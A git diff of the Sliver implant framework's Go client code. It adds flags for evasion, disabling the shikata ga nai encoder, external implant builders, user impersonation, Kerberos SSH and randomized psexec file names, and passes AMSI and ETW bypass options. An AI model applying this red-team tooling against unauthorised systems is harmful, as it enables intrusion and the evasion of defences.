f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1500,6 +1512,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1530,6 +1543,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1547,6 +1561,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1586,6 +1602,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int64("M", "minutes", 0, "beacon interval minutes")
|
||||
f.Int64("S", "seconds", 60, "beacon interval seconds")
|
||||
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
// Generate flags
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
@@ -1611,6 +1628,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1951,6 +1970,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("4", "ip4", true, "display information about IPv4 sockets")
|
||||
f.Bool("6", "ip6", false, "display information about IPv6 sockets")
|
||||
f.Bool("l", "listen", false, "display information about listening sockets")
|
||||
f.Bool("n", "numeric", false, "display numeric addresses (disable hostname resolution)")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
@@ -1969,6 +1989,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("c", "print-cmdline", false, "print command line arguments")
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
f.Bool("T", "tree", false, "print process tree")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -2031,9 +2052,14 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Run a new process in the context of the designated user (Windows Only)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
|
||||
f.String("u", "username", "", "user to impersonate")
|
||||
f.String("p", "process", "", "process to start")
|
||||
f.String("a", "args", "", "arguments for the process")
|
||||
f.String("d", "domain", "", "domain of the user")
|
||||
f.String("P", "password", "", "password of the user")
|
||||
f.Bool("s", "show-window", false, `
|
||||
Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
|
||||
f.Bool("n", "net-only", false, "use ")
|
||||
f.Int("t", "timeout", 30, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -2105,6 +2131,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("u", "username", "", "username of the user to impersonate")
|
||||
f.String("p", "password", "", "password of the user to impersonate")
|
||||
f.String("d", "domain", "", "domain of the user to impersonate")
|
||||
f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -3547,4 +3574,22 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(cursedCmd)
|
||||
|
||||
// [ Builders ] ---------------------------------------------
|
||||
buildersCmd := &grumble.Command{
|
||||
Name: consts.BuildersStr,
|
||||
Help: "List external builders",
|
||||
LongHelp: help.GetHelpFor([]string{consts.BuildersStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
builders.BuildersCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
con.App.AddCommand(buildersCmd)
|
||||
}
|
||||
@@ -20,7 +20,7 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -50,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
}
|
||||
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
|
||||
assemblyBytes, err := os.ReadFile(assemblyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
@@ -60,6 +60,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
process := ctx.Flags.String("process")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
inProcess := ctx.Flags.Bool("in-process")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
@@ -67,7 +68,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 {
|
||||
if len(assemblyArgsStr) > 256 && !inProcess {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
@@ -94,7 +95,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
InProcess: inProcess,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
@@ -52,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
|
||||
shellcodeBin, err := os.ReadFile(shellcodePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
@@ -82,7 +81,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
oldSize := len(shellcodeBin)
|
||||
|
||||
@@ -18,7 +18,6 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -242,7 +241,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
|
||||
|
||||
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
|
||||
|
||||
outFilePath, err = ioutil.TempFile("", outFileName)
|
||||
outFilePath, err = os.CreateTemp("", outFileName)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -3,14 +3,17 @@ package exec
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
@@ -33,12 +36,19 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
config := con.GetActiveSessionConfig()
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if ctx.Flags.Bool("disable-sgn") {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
|
||||
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Config: config,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Encoder: encoder,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -21,17 +21,19 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
insecureRand "math/rand"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -93,7 +95,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
|
||||
} else {
|
||||
// use a custom exe instead of generating a new Sliver
|
||||
fileBytes, err := ioutil.ReadFile(customExe)
|
||||
fileBytes, err := os.ReadFile(customExe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
|
||||
return
|
||||
@@ -101,7 +103,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
serviceBinary = fileBytes
|
||||
}
|
||||
|
||||
filename := randomString(10)
|
||||
filename := randomFileName()
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
|
||||
// upload to remote target
|
||||
@@ -172,11 +174,28 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
|
||||
}
|
||||
|
||||
func randomString(length int) string {
|
||||
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[insecureRand.Intn(len(charset))]
|
||||
func randomFileName() string {
|
||||
noun, _ := codenames.RandomNoun()
|
||||
noun = strings.ToLower(noun)
|
||||
switch insecureRand.Intn(3) {
|
||||
case 0:
|
||||
noun = strings.ToUpper(noun)
|
||||
case 1:
|
||||
noun = strings.ToTitle(noun)
|
||||
}
|
||||
return string(b)
|
||||
|
||||
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
|
||||
sep := separators[insecureRand.Intn(len(separators))]
|
||||
|
||||
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
prefix := ""
|
||||
for index := 0; index < insecureRand.Intn(3); index++ {
|
||||
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
suffix := ""
|
||||
for index := 0; index < insecureRand.Intn(6)+1; index++ {
|
||||
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
|
||||
}
|
||||
@@ -21,7 +21,7 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -45,7 +45,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
processName := ctx.Flags.String("process")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
|
||||
@@ -1,9 +1,27 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -24,7 +42,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
processName := ctx.Flags.String("process")
|
||||
exportName := ctx.Flags.String("export")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -1,8 +1,26 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -31,9 +49,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
port := ctx.Flags.Uint("port")
|
||||
privateKeypath := ctx.Flags.String("private-key")
|
||||
if privateKeypath != "" {
|
||||
privKey, err = ioutil.ReadFile(privateKeypath)
|
||||
privateKeyPath := ctx.Flags.String("private-key")
|
||||
if privateKeyPath != "" {
|
||||
privKey, err = os.ReadFile(privateKeyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -43,6 +61,19 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
command := ctx.Args.StringList("command")
|
||||
kerberosRealm := ctx.Flags.String("kerberos-realm")
|
||||
kerberosConfig := ctx.Flags.String("kerberos-config")
|
||||
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
|
||||
|
||||
if kerberosRealm != "" && kerberosKeytabFile == "" {
|
||||
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
|
||||
return
|
||||
}
|
||||
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
||||
oldUsername := username
|
||||
@@ -59,6 +90,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrivKey: privKey,
|
||||
Password: password,
|
||||
Command: strings.Join(command, " "),
|
||||
Realm: kerberosRealm,
|
||||
Krb5Conf: kerberosConfig,
|
||||
Keytab: kerberosKeytab,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -31,7 +31,11 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
} else {
|
||||
externalBuild(config, save, con)
|
||||
}
|
||||
}
|
||||
|
||||
func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
|
||||
|
||||
@@ -1,10 +1,28 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
@@ -51,12 +69,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
arch := ctx.Flags.String("arch")
|
||||
proto := ctx.Flags.String("protocol")
|
||||
format := ctx.Flags.String("format")
|
||||
badchars := ctx.Flags.String("badchars")
|
||||
badChars := ctx.Flags.String("badchars")
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
bChars := make([]string, 0)
|
||||
if len(badchars) > 0 {
|
||||
for _, b := range strings.Split(badchars, " ") {
|
||||
if len(badChars) > 0 {
|
||||
for _, b := range strings.Split(badChars, " ") {
|
||||
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
|
||||
}
|
||||
}
|
||||
@@ -98,7 +116,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
|
||||
@@ -22,12 +22,11 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -36,6 +35,8 @@ import (
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -82,6 +83,9 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
ErrNoExternalBuilder = errors.New("no external builders are available")
|
||||
ErrNoValidBuilders = errors.New("no valid external builders for target")
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -94,7 +98,24 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
compile(config, save, con)
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
} else {
|
||||
_, err := externalBuild(config, save, con)
|
||||
if err != nil {
|
||||
if err == ErrNoExternalBuilder {
|
||||
con.PrintErrorf("There are no external builders currently connected to the server\n")
|
||||
con.PrintErrorf("See 'builders' command for more information\n")
|
||||
} else if err == ErrNoValidBuilders {
|
||||
con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
|
||||
con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
|
||||
con.PrintErrorf("See 'builders' command for more information\n")
|
||||
} else {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func expandPath(path string) string {
|
||||
@@ -118,7 +139,7 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
if strings.HasSuffix(save, "/") {
|
||||
log.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0700)
|
||||
saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
|
||||
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
saveDir := filepath.Dir(save)
|
||||
@@ -132,7 +153,7 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
log.Printf("%s does exist\n", save)
|
||||
if fi.IsDir() {
|
||||
log.Printf("%s is dir\n", save)
|
||||
saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
|
||||
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
@@ -157,8 +178,9 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
return "Shared Library"
|
||||
case clientpb.OutputFormat_SHELLCODE:
|
||||
return "Shellcode"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
panic(fmt.Sprintf("Unknown format %v", value))
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
@@ -323,6 +345,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
TemplateName: ctx.Flags.String("template"),
|
||||
|
||||
WGPeerTunIP: tunIP.String(),
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
@@ -608,7 +631,131 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
|
||||
potentialBuilders, err := findExternalBuilders(config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var externalBuilder *clientpb.Builder
|
||||
if len(potentialBuilders) == 1 {
|
||||
externalBuilder = potentialBuilders[0]
|
||||
} else {
|
||||
con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
|
||||
externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
|
||||
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
} else {
|
||||
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||
}
|
||||
if config.ObfuscateSymbols {
|
||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
||||
} else if !config.Debug {
|
||||
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
}
|
||||
start := time.Now()
|
||||
|
||||
listenerID, listener := con.CreateEventListener()
|
||||
|
||||
waiting := true
|
||||
spinner := spin.New()
|
||||
|
||||
sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
|
||||
signal.Notify(sigint, os.Interrupt)
|
||||
|
||||
con.PrintInfof("Creating external build ... ")
|
||||
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
|
||||
Config: config,
|
||||
BuilderName: externalBuilder.Name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("done\n")
|
||||
|
||||
var name string
|
||||
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
|
||||
for waiting {
|
||||
select {
|
||||
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
elapsed := time.Since(start)
|
||||
msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
|
||||
fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s %s", spinner.Next(), msg)
|
||||
|
||||
case event := <-listener:
|
||||
switch event.EventType {
|
||||
|
||||
case consts.ExternalBuildFailedEvent:
|
||||
parts := strings.SplitN(string(event.Data), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
return nil, fmt.Errorf("external build failed: %s", parts[1])
|
||||
}
|
||||
|
||||
case consts.AcknowledgeBuildEvent:
|
||||
if string(event.Data) == externalImplantConfig.Config.ID {
|
||||
msgF = "External build acknowledged by builder (template: %s) ... %s"
|
||||
}
|
||||
|
||||
case consts.ExternalBuildCompletedEvent:
|
||||
parts := strings.SplitN(string(event.Data), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
name = parts[1]
|
||||
waiting = false
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
case <-sigint:
|
||||
waiting = false
|
||||
con.Printf("\n")
|
||||
return nil, fmt.Errorf("user interrupt")
|
||||
}
|
||||
}
|
||||
|
||||
elapsed := time.Since(start)
|
||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||
